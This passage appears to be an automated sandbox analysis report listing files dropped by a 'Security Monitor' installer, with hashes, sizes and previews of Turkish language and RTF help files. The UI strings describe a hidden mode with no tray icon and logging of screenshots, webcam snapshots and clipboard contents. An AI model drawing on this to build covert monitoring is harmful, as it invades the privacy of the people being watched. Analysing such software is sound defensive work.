Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-2GDBB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-4L6KV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-4PS13.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-5NHI7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-9I0JU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-BCP2B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-GSU6U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-HEASS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi 